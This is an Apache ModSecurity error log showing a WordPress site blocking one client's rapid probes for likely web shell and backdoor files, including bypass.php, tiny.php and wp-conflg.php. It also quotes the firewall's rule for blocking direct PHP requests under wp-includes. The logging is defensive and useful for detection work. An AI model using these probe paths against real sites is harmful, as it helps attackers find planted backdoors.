[Fri Dec 12 21:36:01.882594 2025] [:error] [pid 60649:tid 60667] [client 130.33.54.142:14553] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-2019.php"] [unique_id "aTwaQVOcUGKU3sgfHP8A5gAAAQ8"]
[Fri Dec 12 21:36:02.170887 2025] [:error] [pid 26519:tid 26542] [client 130.33.54.142:15149] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-2019.php"] [unique_id "aTwaQs8TRgSGOeWqEhf4uAAAABM"]
[Fri Dec 12 21:36:02.532277 2025] [:error] [pid 26519:tid 26531] [client 130.33.54.142:14789] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-2019.php"] [unique_id "aTwaQs8TRgSGOeWqEhf4ugAAAAg"]
[Fri Dec 12 21:36:02.897059 2025] [:error] [pid 26521:tid 26593] [client 130.33.54.142:15109] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-2019.php"] [unique_id "aTwaQpdhcAPU617AKTCJpAAAAI4"]
[Fri Dec 12 21:36:03.407598 2025] [:error] [pid 55760:tid 55771] [client 130.33.54.142:14831] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aTwaQ1ObDQlftFDyGawZlAAAAYk"]
[Fri Dec 12 21:36:04.037159 2025] [:error] [pid 26519:tid 26535] [client 130.33.54.142:14559] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aTwaRM8TRgSGOeWqEhf4wAAAAAw"]
[Fri Dec 12 21:36:04.580272 2025] [:error] [pid 55760:tid 55779] [client 130.33.54.142:14792] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aTwaRFObDQlftFDyGawZnwAAAZE"]
[Fri Dec 12 21:36:05.102879 2025] [:error] [pid 55760:tid 55774] [client 130.33.54.142:14583] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aTwaRVObDQlftFDyGawZogAAAYw"]
[Fri Dec 12 21:36:05.487795 2025] [:error] [pid 26521:tid 26579] [client 130.33.54.142:15105] [client 130.33.54.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aTwaRZdhcAPU617AKTCJrAAAAIA"]
[Fri Dec 12 21:36:05.824391 2025] [:error] [pid 27950:tid 27956] [client 130.33.54.142:14532] [client 130.33.54.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aTwaRYVLRvkrdsSc1F2mTgAAAUQ"]
[Fri Dec 12 21:36:06.242082 2025] [:error] [pid 55760:tid 55783] [client 130.33.54.142:14551] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aTwaRlObDQlftFDyGawZrAAAAZU"]
[Fri Dec 12 21:36:06.606636 2025] [:error] [pid 26520:tid 26571] [client 130.33.54.142:14804] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aTwaRkG_frlY5vNXu_AB2QAAAFM"]
[Fri Dec 12 21:36:07.013269 2025] [:error] [pid 26521:tid 26601] [client 130.33.54.142:15154] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aTwaR5dhcAPU617AKTCJsAAAAJY"]
[Fri Dec 12 21:36:07.493070 2025] [:error] [pid 55760:tid 55764] [client 130.33.54.142:14590] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aTwaR1ObDQlftFDyGawZsgAAAYI"]
[Fri Dec 12 21:36:07.769476 2025] [:error] [pid 27950:tid 27960] [client 130.33.54.142:14853] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aTwaR4VLRvkrdsSc1F2mUgAAAUg"]
[Fri Dec 12 21:36:08.155050 2025] [:error] [pid 26521:tid 26586] [client 130.33.54.142:14585] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aTwaSJdhcAPU617AKTCJtQAAAIc"]
[Fri Dec 12 21:36:08.428337 2025] [:error] [pid 26521:tid 26585] [client 130.33.54.142:14533] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aTwaSJdhcAPU617AKTCJtwAAAIY"]
[Fri Dec 12 21:36:08.690901 2025] [:error] [pid 26519:tid 26528] [client 130.33.54.142:15152] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aTwaSM8TRgSGOeWqEhf4xgAAAAU"]
[Fri Dec 12 21:36:09.110964 2025] [:error] [pid 55760:tid 55783] [client 130.33.54.142:14874] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aTwaSVObDQlftFDyGawZuwAAAZU"]
[Fri Dec 12 21:36:09.449328 2025] [:error] [pid 55760:tid 55785] [client 130.33.54.142:14579] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aTwaSVObDQlftFDyGawZvAAAAZc"]
[Fri Dec 12 21:36:09.932514 2025] [:error] [pid 60649:tid 60663] [client 130.33.54.142:14882] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aTwaSVOcUGKU3sgfHP8A6QAAAQs"]
[Fri Dec 12 21:36:10.381385 2025] [:error] [pid 26519:tid 26536] [client 130.33.54.142:14543] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aTwaSs8TRgSGOeWqEhf4ywAAAA0"]
[Fri Dec 12 21:36:10.898209 2025] [:error] [pid 60649:tid 60654] [client 130.33.54.142:14574] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/system_log.php"] [unique_id "aTwaSlOcUGKU3sgfHP8A6gAAAQI"]
[Fri Dec 12 21:36:11.379281 2025] [:error] [pid 60649:tid 60656] [client 130.33.54.142:14539] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/system_log.php"] [unique_id "aTwaS1OcUGKU3sgfHP8A7AAAAQQ"]
[Fri Dec 12 21:36:11.857647 2025] [:error] [pid 26519:tid 26542] [client 130.33.54.142:15106] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/system_log.php"] [unique_id "aTwaS88TRgSGOeWqEhf4zAAAABM"]
[Fri Dec 12 21:36:12.363178 2025] [:error] [pid 27950:tid 27959] [client 130.33.54.142:14888] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/system_log.php"] [unique_id "aTwaTIVLRvkrdsSc1F2mVQAAAUc"]
[Fri Dec 12 21:36:12.647495 2025] [:error] [pid 26520:tid 26572] [client 130.33.54.142:14870] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aTwaTEG_frlY5vNXu_AB3wAAAFQ"]
[Fri Dec 12 21:36:12.961799 2025] [:error] [pid 26519:tid 26538] [client 130.33.54.142:14557] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aTwaTM8TRgSGOeWqEhf4zQAAAA8"]
[Fri Dec 12 21:36:13.206908 2025] [:error] [pid 26519:tid 26525] [client 130.33.54.142:14863] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aTwaTc8TRgSGOeWqEhf4zgAAAAI"]
[Fri Dec 12 21:36:13.685476 2025] [:error] [pid 26607:tid 26631] [client 130.33.54.142:14857] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aTwaTcb_b0tOEWTL2Kmj_QAAANY"]
[Fri Dec 12 21:36:14.055043 2025] [:error] [pid 60649:tid 60669] [client 130.33.54.142:14852] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aTwaTlOcUGKU3sgfHP8A8AAAARE"]
[Fri Dec 12 21:36:14.458688 2025] [:error] [pid 26607:tid 26611] [client 130.33.54.142:14865] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aTwaTsb_b0tOEWTL2Kmj_gAAAMI"]
[Fri Dec 12 21:36:15.374565 2025] [:error] [pid 26607:tid 26613] [client 130.33.54.142:15167] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aTwaT8b_b0tOEWTL2KmkAQAAAMQ"]
[Fri Dec 12 21:36:15.618126 2025] [:error] [pid 55760:tid 55782] [client 130.33.54.142:14856] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aTwaT1ObDQlftFDyGawZwQAAAZQ"]
[Fri Dec 12 21:36:15.871089 2025] [:error] [pid 55760:tid 55778] [client 130.33.54.142:14883] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aTwaT1ObDQlftFDyGawZwgAAAZA"]
[Fri Dec 12 21:36:16.360377 2025] [:error] [pid 55760:tid 55773] [client 130.33.54.142:14841] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aTwaUFObDQlftFDyGawZwwAAAYs"]
[Fri Dec 12 21:36:16.977042 2025] [:error] [pid 60649:tid 60660] [client 130.33.54.142:14890] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aTwaUFOcUGKU3sgfHP8A8gAAAQg"]
[Fri Dec 12 21:36:17.327288 2025] [:error] [pid 55760:tid 55783] [client 130.33.54.142:15135] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aTwaUVObDQlftFDyGawZxgAAAZU"]
[Fri Dec 12 21:36:17.585021 2025] [:error] [pid 26520:tid 26566] [client 130.33.54.142:14902] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aTwaUUG_frlY5vNXu_AB5AAAAE4"]
[Fri Dec 12 21:36:17.868135 2025] [:error] [pid 26521:tid 26586] [client 130.33.54.142:14860] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aTwaUZdhcAPU617AKTCJwQAAAIc"]
[Fri Dec 12 21:36:18.161970 2025] [:error] [pid 26520:tid 26558] [client 130.33.54.142:14908] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aTwaUkG_frlY5vNXu_AB5gAAAEY"]
[Fri Dec 12 21:36:18.525398 2025] [:error] [pid 26607:tid 26617] [client 130.33.54.142:14855] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aTwaUsb_b0tOEWTL2KmkBAAAAMg"]
[Fri Dec 12 21:36:18.776485 2025] [:error] [pid 55760:tid 55775] [client 130.33.54.142:14569] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aTwaUlObDQlftFDyGawZxwAAAY0"]
[Fri Dec 12 21:36:19.058175 2025] [:error] [pid 55760:tid 55784] [client 130.33.54.142:14587] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aTwaU1ObDQlftFDyGawZyAAAAZY"]
[Fri Dec 12 21:36:19.441603 2025] [:error] [pid 26519:tid 26535] [client 130.33.54.142:14531] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aTwaU88TRgSGOeWqEhf40QAAAAw"]
[Fri Dec 12 21:36:19.759730 2025] [:error] [pid 26519:tid 26543] [client 130.33.54.142:15107] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aTwaU88TRgSGOeWqEhf40gAAABQ"]
[Fri Dec 12 21:36:20.134768 2025] [:error] [pid 26607:tid 26619] [client 130.33.54.142:15141] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/pwnd/as.php"] [unique_id "aTwaVMb_b0tOEWTL2KmkBwAAAMo"]
[Fri Dec 12 21:36:20.413412 2025] [:error] [pid 26607:tid 26612] [client 130.33.54.142:15108] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/pwnd/as.php"] [unique_id "aTwaVMb_b0tOEWTL2KmkCAAAAMM"]
[Fri Dec 12 21:36:20.827157 2025] [:error] [pid 26519:tid 26537] [client 130.33.54.142:14859] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/pwnd/as.php"] [unique_id "aTwaVM8TRgSGOeWqEhf40wAAAA4"]
[Fri Dec 12 21:36:21.129914 2025] [:error] [pid 26607:tid 26618] [client 130.33.54.142:15160] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/pwnd/as.php"] [unique_id "aTwaVcb_b0tOEWTL2KmkCQAAAMk"]
[Fri Dec 12 21:36:21.567118 2025] [:error] [pid 26607:tid 26628] [client 130.33.54.142:14871] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aTwaVcb_b0tOEWTL2KmkCwAAANM"]
[Fri Dec 12 21:36:21.989689 2025] [:error] [pid 26519:tid 26530] [client 130.33.54.142:14893] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aTwaVc8TRgSGOeWqEhf41wAAAAc"]
[Fri Dec 12 21:36:22.367848 2025] [:error] [pid 26519:tid 26528] [client 130.33.54.142:15112] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aTwaVs8TRgSGOeWqEhf42AAAAAU"]
[Fri Dec 12 21:36:22.785401 2025] [:error] [pid 55760:tid 55779] [client 130.33.54.142:14900] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aTwaVlObDQlftFDyGawZygAAAZE"]
[Fri Dec 12 21:36:23.063951 2025] [:error] [pid 60649:tid 60674] [client 130.33.54.142:14568] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aTwaV1OcUGKU3sgfHP8A9AAAARY"]
[Fri Dec 12 21:36:23.326789 2025] [:error] [pid 26521:tid 26601] [client 130.33.54.142:14493] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aTwaV5dhcAPU617AKTCJygAAAJY"]
